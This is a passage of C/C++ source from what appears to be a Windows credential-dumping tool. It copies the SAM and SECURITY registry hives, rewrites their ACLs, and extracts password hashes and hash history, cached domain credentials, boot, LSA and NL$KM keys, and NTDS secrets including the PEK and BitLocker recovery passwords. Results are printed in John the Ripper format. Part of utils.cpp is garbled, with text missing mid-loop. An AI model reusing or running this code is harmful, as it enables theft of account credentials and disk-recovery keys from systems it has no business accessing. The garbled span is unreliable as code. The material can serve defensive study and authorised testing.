ATT_PEK "ATTk590689" 18 | #define ATT_LM_HASH_HISTORY "ATTk589984" 19 | #define ATT_NT_HASH_HISTORY "ATTk589918" 20 | 21 | #define ATT_BITLOCKER_MSFVE_KEY_PACKAGE "ATTk591823" 22 | #define ATT_BITLOCKER_MSFVE_RECOVERY_GUID "ATTk591789" 23 | #define ATT_BITLOCKER_MSFVE_RECOVERY_PASSWORD "ATTm591788" 24 | #define ATT_BITLOCKER_MSFVE_VOLUME_GUID "ATTk591822" 25 | 26 | 27 | /* SAM account types (NTDS) */ 28 | #define SAM_GROUP_OBJECT 0x10000000 29 | #define SAM_NON_SECURITY_GROUP_OBJECT 0x10000001 30 | #define SAM_ALIAS_OBJECT 0x20000000 31 | #define SAM_NON_SECURITY_ALIAS_OBJECT 0x20000001 32 | #define SAM_USER_OBJECT 0x30000000 33 | #define SAM_MACHINE_ACCOUNT 0x30000001 34 | #define SAM_TRUST_ACCOUNT 0x30000002 35 | 36 | 37 | /* NTDS parser structure definitions */ 38 | #define ID_SAM_ACCOUNT_NAME 0 39 | #define ID_SAM_ACCOUNT_TYPE 1 40 | #define ID_OBJECT_SID 2 41 | #define ID_LM_HASH 3 42 | #define ID_NT_HASH 4 43 | #define ID_PEK 5 44 | #define ID_LM_HASH_HISTORY 6 45 | #define ID_NT_HASH_HISTORY 7 46 | 47 | #define ID_MSFVE_KEY_PACKAGE 0 48 | #define ID_MSFVE_RECOVERY_GUID 1 49 | #define ID_MSFVE_RECOVERY_PASSWORD 2 50 | #define ID_MSFVE_VOLUME_GUID 3 51 | 52 | typedef struct { 53 | JET_INSTANCE instance; 54 | JET_SESID sesid; 55 | JET_DBID dbid; 56 | TCHAR parsed_filename[MAX_PATH+1]; 57 | JET_COLUMNDEF columndef[8]; 58 | }s_parser; 59 | 60 | 61 | /* Error codes for NTDS functions */ 62 | #define NTDS_SUCCESS 0 63 | #define NTDS_BAD_RECORD -1 64 | #define NTDS_API_ERROR -2 65 | #define NTDS_MEM_ERROR -3 66 | #define NTDS_EMPTY_ERROR -4 67 | 68 | 69 | /* NTDS parser handling */ 70 | BOOL NTDS_ParserInit(s_parser *parser); 71 | BOOL NTDS_ParserClose(s_parser *parser); 72 | 73 | BOOL NTDS_OpenDatabase(s_parser *parser,LPCSTR szNtdsPath); 74 | BOOL NTDS_CloseDatabase(s_parser *parser); 75 | 76 | int NTDS_NTLM_ParseDatabase(s_parser *parser,ll_ldapAccountInfo *ldapAccountInfo,s_NTLM_pek_ciphered *pek_ciphered,BOOL with_history); 77 | int NTDS_Bitlocker_ParseDatabase(s_parser *parser,ll_bitlockerAccountInfo *bitlockerAccountInfo); 78 | 79 | 80 | 81 | -------------------------------------------------------------------------------- /src/samparser.cpp: -------------------------------------------------------------------------------- 1 | #include "samparser.h" 2 | 3 | 4 | /* 5 | * Apply recursively a security descriptor to all 6 | * subkeys of a given key 7 | */ 8 | int ApplySecurityDescriptorRecursively(HKEY hRootKey,LPSTR szKeyName,SECURITY_DESCRIPTOR *sec_desc) { 9 | TCHAR szSubkey[512]; 10 | DWORD dwSubkey,ind=0; 11 | LSTATUS dwRtn; 12 | HKEY hKey; 13 | 14 | /* Apply security descriptor to current key */ 15 | if(RegOpenKeyEx(hRootKey,szKeyName,0,WRITE_DAC,&hKey) != ERROR_SUCCESS) 16 | return SAM_REG_ERROR; 17 | if(RegSetKeySecurity(hKey,(SECURITY_INFORMATION)DACL_SECURITY_INFORMATION,sec_desc)!=ERROR_SUCCESS) 18 | return SAM_REG_ERROR; 19 | RegCloseKey(hKey); 20 | 21 | /* Loop through all keys & recurse */ 22 | if(RegOpenKeyEx(hRootKey,szKeyName,0,KEY_ENUMERATE_SUB_KEYS,&hKey) != ERROR_SUCCESS) 23 | return SAM_REG_ERROR; 24 | 25 | do { 26 | dwSubkey = 512; 27 | lstrcpy(szSubkey,szKeyName); 28 | lstrcat(szSubkey,"\\"); 29 | dwRtn = RegEnumKeyEx(hKey,ind++,szSubkey+lstrlen(szSubkey),&dwSubkey,NULL,NULL,NULL,NULL); 30 | if(dwRtn == ERROR_NO_MORE_ITEMS) { 31 | dwRtn = ERROR_SUCCESS; 32 | break; 33 | } 34 | else if(dwRtn == ERROR_SUCCESS) 35 | dwRtn = ApplySecurityDescriptorRecursively(hRootKey,szSubkey,sec_desc); 36 | }while(dwRtn == ERROR_SUCCESS); 37 | 38 | RegCloseKey(hKey); 39 | 40 | return dwRtn; 41 | } 42 | 43 | 44 | /* 45 | * Dump a full registry hive to disk (i.e SAM or SECURITY) 46 | */ 47 | BOOL SAM_SaveFromRegistry(LPSTR hiveName,LPSTR outFilename) { 48 | BOOL is_success = FALSE; 49 | DWORD dwDisposition=0; 50 | HKEY hKey; 51 | LONG ret; 52 | 53 | ret = RegCreateKeyEx(HKEY_LOCAL_MACHINE,hiveName,0,NULL,REG_OPTION_BACKUP_RESTORE,0,NULL,&hKey,&dwDisposition); 54 | 55 | if(ret!=ERROR_SUCCESS) 56 | return FALSE; 57 | else if(dwDisposition!=REG_OPENED_EXISTING_KEY) { 58 | RegCloseKey(hKey); 59 | return FALSE; 60 | } 61 | else{ 62 | is_success = (RegSaveKeyEx(hKey,outFilename,NULL,REG_STANDARD_FORMAT)==ERROR_SUCCESS); 63 | RegCloseKey(hKey); 64 | } 65 | 66 | return is_success; 67 | } 68 | 69 | 70 | /* 71 | * Unload temporarily mounted registry hive 72 | * and delete registry hive file (+ .log file) 73 | */ 74 | void SAM_UnMount(LPSTR szTmpSAMPath) { 75 | TCHAR szLogFilename[MAX_PATH+23]; 76 | 77 | RegUnLoadKey(HKEY_LOCAL_MACHINE,TEMP_SAM_KEY); 78 | DeleteFile(szTmpSAMPath); 79 | 80 | lstrcpyn(szLogFilename,szTmpSAMPath,MAX_PATH); 81 | lstrcat(szLogFilename,".LOG"); 82 | DeleteFile(szLogFilename); 83 | } 84 | 85 | 86 | /* 87 | * Mount temporarily registry hive from disk 88 | * Adjust keys ACL recursivly for parsing 89 | */ 90 | int SAM_Mount(LPSTR inFilename) { 91 | SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY; 92 | PSID pAdministratorsSid = NULL; 93 | SECURITY_DESCRIPTOR sd; 94 | PACL pDacl = NULL; 95 | DWORD dwAclSize; 96 | 97 | /* Mount hive on random key */ 98 | if(RegLoadKey(HKEY_LOCAL_MACHINE,TEMP_SAM_KEY,inFilename) != ERROR_SUCCESS) 99 | return SAM_MOUNT_ERROR; 100 | 101 | /* Initialize an administrators group ACL */ 102 | if(!AllocateAndInitializeSid(&sia,2,SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS,0,0,0,0,0,0,&pAdministratorsSid)) 103 | return SAM_REG_ERROR; 104 | 105 | dwAclSize = sizeof(ACL) + (sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD)) + GetLengthSid(pAdministratorsSid); 106 | if(!(pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize))) 107 | return SAM_MEM_ERROR; 108 | 109 | if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION)) { 110 | HeapFree(GetProcessHeap(),0,pDacl); 111 | return SAM_REG_ERROR; 112 | } 113 | 114 | /* Grant to SID a full access to registry keys */ 115 | if(!AddAccessAllowedAceEx(pDacl,ACL_REVISION,CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE | INHERITED_ACE,KEY_ALL_ACCESS,pAdministratorsSid)) { 116 | HeapFree(GetProcessHeap(),0,pDacl); 117 | return SAM_REG_ERROR; 118 | } 119 | 120 | /* Build security descriptor from ACL */ 121 | if(!InitializeSecurityDescriptor(&sd,SECURITY_DESCRIPTOR_REVISION)) { 122 | HeapFree(GetProcessHeap(),0,pDacl); 123 | return SAM_REG_ERROR; 124 | } 125 | 126 | if(!SetSecurityDescriptorDacl(&sd,TRUE,pDacl,FALSE)) { 127 | HeapFree(GetProcessHeap(),0,pDacl); 128 | return SAM_REG_ERROR; 129 | } 130 | 131 | /* Apply it recursively to all key */ 132 | ApplySecurityDescriptorRecursively(HKEY_LOCAL_MACHINE,TEMP_SAM_KEY,&sd); 133 | 134 | return SAM_SUCCESS; 135 | } 136 | 137 | 138 | /* 139 | * Get samAccountName from SAM hive for a given RID 140 | */ 141 | int SAM_GetUserNameFromRID(DWORD rid,LPSTR samAccountName) { 142 | TCHAR szUsernamesKeyPath[128],szSubkey[UNLEN+1],szUsernameKeyPath[UNLEN+1+128]; 143 | DWORD ind=0,dwSubkey,dwRtn,dwValType; 144 | int retCode=SAM_REG_ERROR; 145 | HKEY hKey; 146 | 147 | lstrcpy(szUsernamesKeyPath,TEMP_SAM_KEY); 148 | lstrcat(szUsernamesKeyPath,"\\SAM\\Domains\\Account\\Users\\Names"); 149 | 150 | if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,szUsernamesKeyPath,0,KEY_ENUMERATE_SUB_KEYS,&hKey) != ERROR_SUCCESS) 151 | return SAM_REG_ERROR; 152 | 153 | do { 154 | dwSubkey = sizeof(szSubkey); 155 | dwRtn = RegEnumKeyEx(hKey,ind++,szSubkey,&dwSubkey,NULL,NULL,NULL,NULL); 156 | if(dwRtn==ERROR_SUCCESS) { 157 | lstrcpy(szUsernameKeyPath,szUsernamesKeyPath); 158 | lstrcat(szUsernameKeyPath,"\\"); 159 | lstrcat(szUsernameKeyPath,szSubkey); 160 | if(!RegGetValueEx(HKEY_LOCAL_MACHINE,szUsernameKeyPath,"",&dwValType,NULL,NULL,NULL)) { 161 | retCode = SAM_REG_ERROR; 162 | break; 163 | } 164 | if(dwValType==rid) { 165 | lstrcpyn(samAccountName,szSubkey,UNLEN); 166 | retCode = SAM_SUCCESS; 167 | } 168 | } 169 | else if(dwRtn!=ERROR_NO_MORE_ITEMS) 170 | break; 171 | 172 | }while(dwRtn==ERROR_SUCCESS); 173 | 174 | RegCloseKey(hKey); 175 | 176 | return retCode; 177 | } 178 | 179 | 180 | /* 181 | * Enumerate all local SAM users & retrieve RID, V, samAccountName 182 | */ 183 | int SAM_ParseAllAccount(ll_localAccountInfo *localAccountInfo,BOOL with_history) { 184 | TCHAR szUsersKeyPath[128],szUserKeyPath[128],szSubkey[128]; 185 | s_localAccountInfo localAccountEntry; 186 | DWORD ind=0,dwSubkey,dwRtn; 187 | int retCode = SAM_REG_ERROR; 188 | HKEY hKey; 189 | 190 | lstrcpy(szUsersKeyPath,TEMP_SAM_KEY); 191 | lstrcat(szUsersKeyPath,"\\SAM\\Domains\\Account\\Users"); 192 | 193 | if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,szUsersKeyPath,0,KEY_ENUMERATE_SUB_KEYS,&hKey) != ERROR_SUCCESS) 194 | return SAM_REG_ERROR; 195 | 196 | do { 197 | dwSubkey = sizeof(szSubkey); 198 | dwRtn = RegEnumKeyEx(hKey,ind++,szSubkey,&dwSubkey,NULL,NULL,NULL,NULL); 199 | if(dwRtn==ERROR_SUCCESS) { 200 | if(!lstrcmp(szSubkey,"Names")) 201 | continue; 202 | 203 | RtlZeroMemory(&localAccountEntry,sizeof(s_localAccountInfo)); 204 | 205 | lstrcpy(szUserKeyPath,szUsersKeyPath); 206 | lstrcat(szUserKeyPath,"\\"); 207 | lstrcat(szUserKeyPath,szSubkey); 208 | if(!RegGetValueEx(HKEY_LOCAL_MACHINE,szUserKeyPath,"V",NULL,NULL,0,&localAccountEntry.dwVSize)) { 209 | retCode = SAM_REG_ERROR; 210 | break; 211 | } 212 | 213 | /* Extract scrambled ciphered NT/LM struct */ 214 | if(!(localAccountEntry.V = (LPBYTE)VirtualAlloc(NULL,localAccountEntry.dwVSize,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE))) { 215 | retCode = SAM_MEM_ERROR; 216 | break; 217 | } 218 | if(!RegGetValueEx(HKEY_LOCAL_MACHINE,szUserKeyPath,"V",NULL,localAccountEntry.V,localAccountEntry.dwVSize,NULL)) { 219 | retCode = SAM_REG_ERROR; 220 | break; 221 | } 222 | 223 | LPBYTE tmp = localAccountEntry.V; 224 | 225 | /* Check for history if asked */ 226 | localAccountEntry.nbHistoryEntries = (((*(LPWORD)(tmp+0xC4))-4) / WIN_NTLM_HASH_SIZE) + 1; /* +1 = FIX for strange MS behavior (see crypt.cpp)*/ 227 | if(with_history && (localAccountEntry.nbHistoryEntries!=0)) { 228 | localAccountEntry.NTLM_hash_history = (s_NTLM_Hash *)VirtualAlloc(NULL,localAccountEntry.nbHistoryEntries*sizeof(s_NTLM_Hash),MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); 229 | } 230 | 231 | /* Check main hash type (TO fix see crypt.cpp) */ 232 | /*if((DWORD)((*(LPWORD)(tmp+0x9c)) + 0xCC + 2*WIN_NTLM_HASH_SIZE + 8) < (dwValSize-((*(LPWORD)(tmp+0xC4)-4)*2))) 233 | localAccountEntry.NTLM_hash.hash_type = LM_HASH; 234 | else if((DWORD)((*(LPWORD)(tmp+0x9c)) + 0xCC + WIN_NTLM_HASH_SIZE + 4) < (dwValSize-((*(LPWORD)(tmp+0xC4)-4)*2))) 235 | localAccountEntry.NTLM_hash.hash_type = NT_HASH; 236 | else 237 | localAccountEntry.NTLM_hash.hash_type = NT_NO_HASH;*/ 238 | 239 | /* Extract RID */ 240 | localAccountEntry.rid = strtoul(szSubkey,NULL,16); 241 | 242 | /* Extract username */ 243 | if(SAM_GetUserNameFromRID(localAccountEntry.rid,localAccountEntry.szSAMAccountName)==SAM_SUCCESS) { 244 | if(!localAccountInfoNew(localAccountInfo,&localAccountEntry)) { 245 | puts("ERROR: fatal, not enough memory"); 246 | retCode = SAM_MEM_ERROR; 247 | break; 248 | } 249 | } 250 | else{ 251 | retCode = SAM_REG_ERROR; 252 | break; 253 | } 254 | } 255 | else if(dwRtn==ERROR_NO_MORE_ITEMS) { 256 | retCode = SAM_SUCCESS; 257 | break; 258 | } 259 | else { 260 | retCode = SAM_REG_ERROR; 261 | } 262 | 263 | }while(dwRtn==ERROR_SUCCESS); 264 | 265 | RegCloseKey(hKey); 266 | 267 | return retCode; 268 | } 269 | 270 | 271 | /* 272 | * Parse local SAM (account name, NT, LM) and retrieves ciphered bootkey 273 | * Method : registry save + seBackupPrivilege 274 | */ 275 | int SAM_ParseLocalDatabase(ll_localAccountInfo *localAccountInfo,s_BOOTKEY_ciphered *bootkey_ciphered,BOOL with_history) { 276 | TCHAR szTmpSAMPath[MAX_PATH+20],szCipheredBootkeyPath[128]; 277 | int retCode = SAM_SUCCESS; 278 | DWORD len; 279 | 280 | /* Make temporary filename */ 281 | len = GetTempPath(MAX_PATH,szTmpSAMPath); 282 | wsprintf(szTmpSAMPath+len,"\\SAM-%u.dmp",GetTickCount()); 283 | 284 | /* Unload any previous instance of our hive */ 285 | SAM_UnMount(szTmpSAMPath); 286 | 287 | /* Dump SAM registry hive to disk */ 288 | if(!SAM_SaveFromRegistry("SAM",szTmpSAMPath)) 289 | return SAM_REG_ERROR; 290 | 291 | /* Load saved dump and set new ACL (full access), next parse*/ 292 | if((retCode=SAM_Mount(szTmpSAMPath))==SAM_SUCCESS) { 293 | retCode = SAM_ParseAllAccount(localAccountInfo,with_history); 294 | if(retCode != SAM_SUCCESS) { 295 | SAM_UnMount(szTmpSAMPath); 296 | return retCode; 297 | } 298 | } 299 | 300 | if(!(*localAccountInfo)) { 301 | retCode = SAM_NO_ACCOUNT; 302 | } 303 | else { 304 | /* Get ciphered boot key */ 305 | lstrcpy(szCipheredBootkeyPath,TEMP_SAM_KEY); 306 | lstrcat(szCipheredBootkeyPath,"\\SAM\\Domains\\Account"); 307 | retCode = RegGetValueEx(HKEY_LOCAL_MACHINE,szCipheredBootkeyPath,"F",NULL,bootkey_ciphered->F,sizeof(bootkey_ciphered->F),NULL) ? SAM_SUCCESS : SAM_REG_ERROR; 308 | } 309 | /* Delete temporay SAM file */ 310 | SAM_UnMount(szTmpSAMPath); 311 | 312 | return retCode; 313 | } 314 | 315 | 316 | 317 | /* 318 | * Enumerate all cached domain accounts 319 | * By default : 10 entries as $NLi , i=1..10 320 | */ 321 | int SAM_ParseAllCachedAccount(ll_cachedAccountInfo *cachedAccountInfo) { 322 | TCHAR szCachedKeyPath[128],szValue[128]; 323 | s_cachedAccountInfo cachedAccountEntry; 324 | DWORD dwSzValue,dwValSize,dwRtn; 325 | int retCode = SAM_REG_ERROR; 326 | HKEY hKey; 327 | int ind=0; 328 | 329 | lstrcpy(szCachedKeyPath,TEMP_SAM_KEY); 330 | lstrcat(szCachedKeyPath,"\\Cache"); 331 | 332 | if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,szCachedKeyPath,0,KEY_QUERY_VALUE,&hKey) != ERROR_SUCCESS) 333 | return SAM_REG_ERROR; 334 | 335 | do { 336 | dwSzValue = sizeof(szValue); 337 | dwRtn = RegEnumValue(hKey,ind++,szValue,&dwSzValue,NULL,NULL,NULL,NULL); 338 | if(dwRtn==ERROR_SUCCESS) { 339 | if(!lstrcmp(szValue,"NL$Control")) 340 | continue; 341 | 342 | RtlZeroMemory(&cachedAccountEntry,sizeof(s_cachedAccountInfo)); 343 | 344 | if(!RegGetValueEx(HKEY_LOCAL_MACHINE,szCachedKeyPath,szValue,NULL,NULL,0,&dwValSize)) { 345 | retCode = SAM_REG_ERROR; 346 | break; 347 | } 348 | 349 | if(!(cachedAccountEntry.cachedEntry = (LPBYTE)VirtualAlloc(NULL,dwValSize,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE))) { 350 | retCode = SAM_MEM_ERROR; 351 | break; 352 | } 353 | if(!RegGetValueEx(HKEY_LOCAL_MACHINE,szCachedKeyPath,szValue,NULL,cachedAccountEntry.cachedEntry,dwValSize,NULL)) { 354 | retCode = SAM_REG_ERROR; 355 | break; 356 | } 357 | cachedAccountEntry.dwCachedEntrySize = dwValSize; 358 | if(!cachedAccountInfoNew(cachedAccountInfo,&cachedAccountEntry)) { 359 | puts("ERROR: fatal, not enough memory"); 360 | retCode = SAM_MEM_ERROR; 361 | break; 362 | } 363 | } 364 | else if(dwRtn==ERROR_NO_MORE_ITEMS) { 365 | retCode = SAM_SUCCESS; 366 | break; 367 | } 368 | else { 369 | retCode = SAM_REG_ERROR; 370 | } 371 | 372 | }while(dwRtn==ERROR_SUCCESS); 373 | 374 | RegCloseKey(hKey); 375 | 376 | return retCode; 377 | } 378 | 379 | 380 | /* 381 | * Parse cached SAM (account name, NT, LM) => cached domain passwords 382 | * also retrieved LSA ciphered key 383 | * Method : registry save + seBackupPrivilege 384 | */ 385 | int SAM_ParseCachedDatabase(ll_cachedAccountInfo *cachedAccountInfo,s_LSAKEY_ciphered *lsakey_ciphered,s_NLKM_ciphered *nlkm_ciphered) { 386 | TCHAR szTmpSAMPath[MAX_PATH+20],szCipheredLsakeyPath[128]; 387 | int retCode = SAM_SUCCESS; 388 | OSVERSIONINFO osv; 389 | DWORD len; 390 | 391 | /* Make temporary filename */ 392 | len = GetTempPath(MAX_PATH,szTmpSAMPath); 393 | wsprintf(szTmpSAMPath+len,"\\SAM-%u.dmp",GetTickCount()); 394 | 395 | /* Unload any previous instance of our hive */ 396 | SAM_UnMount(szTmpSAMPath); 397 | 398 | /* Dump SAM registry hive to disk */ 399 | if(!SAM_SaveFromRegistry("SECURITY",szTmpSAMPath)) 400 | return SAM_REG_ERROR; 401 | 402 | /* Load saved dump and set new ACL (full access), next parse */ 403 | if((retCode=SAM_Mount(szTmpSAMPath))==SAM_SUCCESS) { 404 | retCode = SAM_ParseAllCachedAccount(cachedAccountInfo); 405 | if(retCode != SAM_SUCCESS) { 406 | SAM_UnMount(szTmpSAMPath); 407 | return retCode; 408 | } 409 | } 410 | 411 | /* Get LSA key (since Vista, not only one key is possible) & NLKM key */ 412 | RtlZeroMemory(&osv,sizeof(OSVERSIONINFO)); 413 | osv.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 414 | GetVersionEx(&osv); 415 | /* Vista, 7 & 2008 case */ 416 | if(osv.dwMajorVersion >= 6) { 417 | lstrcpy(szCipheredLsakeyPath,TEMP_SAM_KEY); 418 | lstrcat(szCipheredLsakeyPath,"\\Policy\\PolEKList"); 419 | retCode = RegGetValueEx(HKEY_LOCAL_MACHINE,szCipheredLsakeyPath,"",NULL,lsakey_ciphered->PolEKList,sizeof(lsakey_ciphered->PolEKList),NULL) ? SAM_SUCCESS : SAM_REG_ERROR; 420 | 421 | lstrcpy(szCipheredLsakeyPath,TEMP_SAM_KEY); 422 | lstrcat(szCipheredLsakeyPath,"\\Policy\\Secrets\\NL$KM\\CurrVal"); 423 | retCode = RegGetValueEx(HKEY_LOCAL_MACHINE,szCipheredLsakeyPath,"",NULL,nlkm_ciphered->key_v2,sizeof(nlkm_ciphered->key_v2),NULL) ? SAM_SUCCESS : SAM_REG_ERROR; 424 | } 425 | /* Should be 2003 or XP => key is unique */ 426 | else { 427 | lstrcpy(szCipheredLsakeyPath,TEMP_SAM_KEY); 428 | lstrcat(szCipheredLsakeyPath,"\\Policy\\PolSecretEncryptionKey"); 429 | retCode = RegGetValueEx(HKEY_LOCAL_MACHINE,szCipheredLsakeyPath,"",NULL,lsakey_ciphered->PolSecretEncryptionKey,sizeof(lsakey_ciphered->PolSecretEncryptionKey),NULL) ? SAM_SUCCESS : SAM_REG_ERROR; 430 | 431 | lstrcpy(szCipheredLsakeyPath,TEMP_SAM_KEY); 432 | lstrcat(szCipheredLsakeyPath,"\\Policy\\Secrets\\NL$KM\\CurrVal"); 433 | retCode = RegGetValueEx(HKEY_LOCAL_MACHINE,szCipheredLsakeyPath,"",NULL,nlkm_ciphered->key,sizeof(nlkm_ciphered->key),NULL) ? SAM_SUCCESS : SAM_REG_ERROR; 434 | } 435 | 436 | lsakey_ciphered->dwMajorVersion = osv.dwMajorVersion; 437 | nlkm_ciphered->dwMajorVersion = osv.dwMajorVersion; 438 | 439 | /* Delete temporay SAM file */ 440 | SAM_UnMount(szTmpSAMPath); 441 | 442 | return retCode; 443 | } 444 | -------------------------------------------------------------------------------- /src/samparser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include "utils.h" 5 | #include "crypt.h" 6 | 7 | 8 | /* Temporary mount point in windows registry */ 9 | #define TEMP_SAM_KEY "QUARKS-SAM" 10 | 11 | 12 | /* SAM functions error codes */ 13 | #define SAM_SUCCESS 0 14 | #define SAM_REG_ERROR -1 15 | #define SAM_MOUNT_ERROR -2 16 | #define SAM_MEM_ERROR -3 17 | #define SAM_NO_ACCOUNT -4 18 | 19 | 20 | /* Local SAM parsing (local account and domain cached */ 21 | int SAM_ParseLocalDatabase(ll_localAccountInfo *localAccountInfo,s_BOOTKEY_ciphered *bootkey_ciphered,BOOL with_history); 22 | int SAM_ParseCachedDatabase(ll_cachedAccountInfo *cachedAccountInfo,s_LSAKEY_ciphered *lsakey_ciphered,s_NLKM_ciphered *nlkm_ciphered); 23 | 24 | -------------------------------------------------------------------------------- /src/utils.cpp: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | 3 | 4 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 5 | // UTILS FUNC 6 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 7 | 8 | /* 9 | * BSWAP a DWORD 10 | */ 11 | DWORD BSWAP(DWORD n) { 12 | __asm{ 13 | mov eax,n 14 | bswap eax 15 | } 16 | } 17 | 18 | /* 19 | * Convert hex digit to byte (4 bits) 20 | * Return 0xff if failed 21 | */ 22 | BYTE HexDigitToByte(TCHAR digit) { 23 | if(digit>='0' && digit<='9') 24 | return digit - '0'; 25 | else if(digit>='a' && digit<='f') 26 | return digit - 'a' + 10; 27 | else if(digit>='A' && digit<='F') 28 | return digit - 'A' + 10; 29 | 30 | return (BYTE)-1; 31 | } 32 | 33 | 34 | /* 35 | * Bytes array to hex string 36 | */ 37 | void BytesToHex(LPVOID data,size_t data_size,LPSTR out_str) { 38 | size_t i; 39 | 40 | for(i=0;inext = *ldapAccountInfo; 139 | RtlMoveMemory(&newEntry->info,ldapAccountEntry,sizeof(s_ldapAccountInfo)); 140 | 141 | *ldapAccountInfo = newEntry; 142 | 143 | return newEntry; 144 | } 145 | 146 | 147 | /* 148 | * Free ldapAccountInfo linked list 149 | */ 150 | BOOL ldapAccountInfoFreeAll(ll_ldapAccountInfo ldapAccountInfo) { 151 | ll_ldapAccountInfo current=ldapAccountInfo,tmp; 152 | 153 | if(ldapAccountInfo) { 154 | do { 155 | tmp = current->next; 156 | if(current->info.sid) 157 | VirtualFree(current->info.sid,0,MEM_RELEASE); 158 | if(current->info.NTLM_hash_history) 159 | VirtualFree(current->info.NTLM_hash_history,0,MEM_RELEASE); 160 | VirtualFree(current,0,MEM_RELEASE); 161 | current = tmp; 162 | }while(current); 163 | } 164 | 165 | return TRUE; 166 | } 167 | 168 | 169 | /* 170 | * Add a new node to localAccountInfo linked list 171 | */ 172 | ll_localAccountInfo localAccountInfoNew(ll_localAccountInfo *localAccountInfo,s_localAccountInfo *localAccountEntry) { 173 | ll_localAccountInfo newEntry; 174 | 175 | if(!(newEntry = (ll_localAccountInfo)VirtualAlloc(NULL,sizeof(l_localAccountInfo),MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE))) 176 | return NULL; 177 | 178 | newEntry->next = *localAccountInfo; 179 | RtlMoveMemory(&newEntry->info,localAccountEntry,sizeof(s_localAccountInfo)); 180 | 181 | *localAccountInfo = newEntry; 182 | 183 | return newEntry; 184 | } 185 | 186 | 187 | /* 188 | * Free localAccountInfo linked list 189 | */ 190 | BOOL localAccountInfoFreeAll(ll_localAccountInfo localAccountInfo) { 191 | ll_localAccountInfo current=localAccountInfo,tmp; 192 | 193 | if(localAccountInfo) { 194 | do { 195 | tmp = current->next; 196 | if(current->info.V) 197 | VirtualFree(current->info.V,0,MEM_RELEASE); 198 | if(current->info.NTLM_hash_history) 199 | VirtualFree(current->info.NTLM_hash_history,0,MEM_RELEASE); 200 | VirtualFree(current,0,MEM_RELEASE); 201 | current = tmp; 202 | }while(current); 203 | } 204 | 205 | return TRUE; 206 | } 207 | 208 | 209 | 210 | /* 211 | * Add a new node to cachedAccountInfo linked list 212 | */ 213 | ll_cachedAccountInfo cachedAccountInfoNew(ll_cachedAccountInfo *cachedAccountInfo,s_cachedAccountInfo *cachedAccountEntry) { 214 | ll_cachedAccountInfo newEntry; 215 | 216 | if(!(newEntry = (ll_cachedAccountInfo)VirtualAlloc(NULL,sizeof(l_cachedAccountInfo),MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE))) 217 | return NULL; 218 | 219 | newEntry->next = *cachedAccountInfo; 220 | RtlMoveMemory(&newEntry->info,cachedAccountEntry,sizeof(s_cachedAccountInfo)); 221 | 222 | *cachedAccountInfo = newEntry; 223 | 224 | return newEntry; 225 | } 226 | 227 | 228 | /* 229 | * Free cachedAccountInfo linked list 230 | */ 231 | BOOL cachedAccountInfoFreeAll(ll_cachedAccountInfo cachedAccountInfo) { 232 | ll_cachedAccountInfo current=cachedAccountInfo,tmp; 233 | 234 | if(cachedAccountInfo) { 235 | do { 236 | tmp = current->next; 237 | if(current->info.cachedEntry) 238 | VirtualFree(current->info.cachedEntry,0,MEM_RELEASE); 239 | VirtualFree(current,0,MEM_RELEASE); 240 | current = tmp; 241 | }while(current); 242 | } 243 | 244 | return TRUE; 245 | } 246 | 247 | 248 | /* 249 | * Add a new node to bitlockerAccountInfo linked list 250 | */ 251 | ll_bitlockerAccountInfo bitlockerAccountInfoNew(ll_bitlockerAccountInfo *bitlockerAccountInfo,s_bitlockerAccountInfo *bitlockerAccountEntry) { 252 | ll_bitlockerAccountInfo newEntry; 253 | 254 | if(!(newEntry = (ll_bitlockerAccountInfo)VirtualAlloc(NULL,sizeof(l_bitlockerAccountInfo),MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE))) 255 | return NULL; 256 | 257 | newEntry->next = *bitlockerAccountInfo; 258 | RtlMoveMemory(&newEntry->info,bitlockerAccountEntry,sizeof(s_bitlockerAccountInfo)); 259 | 260 | *bitlockerAccountInfo = newEntry; 261 | 262 | return newEntry; 263 | } 264 | 265 | 266 | /* 267 | * Free bitlockerAccountInfo linked list 268 | */ 269 | BOOL bitlockerAccountInfoFreeAll(ll_bitlockerAccountInfo bitlockerAccountInfo) { 270 | ll_bitlockerAccountInfo current=bitlockerAccountInfo,tmp; 271 | 272 | if(bitlockerAccountInfo) { 273 | do { 274 | tmp = current->next; 275 | if(current->info.msFVE_KeyPackage) 276 | VirtualFree(current->info.msFVE_KeyPackage,0,MEM_RELEASE); 277 | VirtualFree(current,0,MEM_RELEASE); 278 | current = tmp; 279 | }while(current); 280 | } 281 | 282 | return TRUE; 283 | } 284 | 285 | 286 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 287 | // DUMPING FUNC 288 | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 289 | 290 | /* 291 | * Raw dump a ciphered PEK struct 292 | */ 293 | void PEK_cipheredDump(s_NTLM_pek_ciphered *pek_ciphered) { 294 | TCHAR szPEKCiphered[256]; 295 | 296 | BytesToHex(pek_ciphered,sizeof(s_NTLM_pek_ciphered),szPEKCiphered); 297 | printf("Ciphered PEK = %s\n",szPEKCiphered); 298 | } 299 | 300 | 301 | /* 302 | * Raw dump a PEK struct 303 | */ 304 | void PEK_Dump(s_NTLM_pek *pek) { 305 | TCHAR szPEK[256]; 306 | 307 | BytesToHex(pek->decipher_key2,sizeof(pek->decipher_key2),szPEK); 308 | printf("PEK = %s\n",szPEK); 309 | } 310 | 311 | 312 | /* 313 | * Dump to text one entry of a ll_ldapAccountInfo linked list 314 | * Format : John The Ripper 315 | */ 316 | BOOL 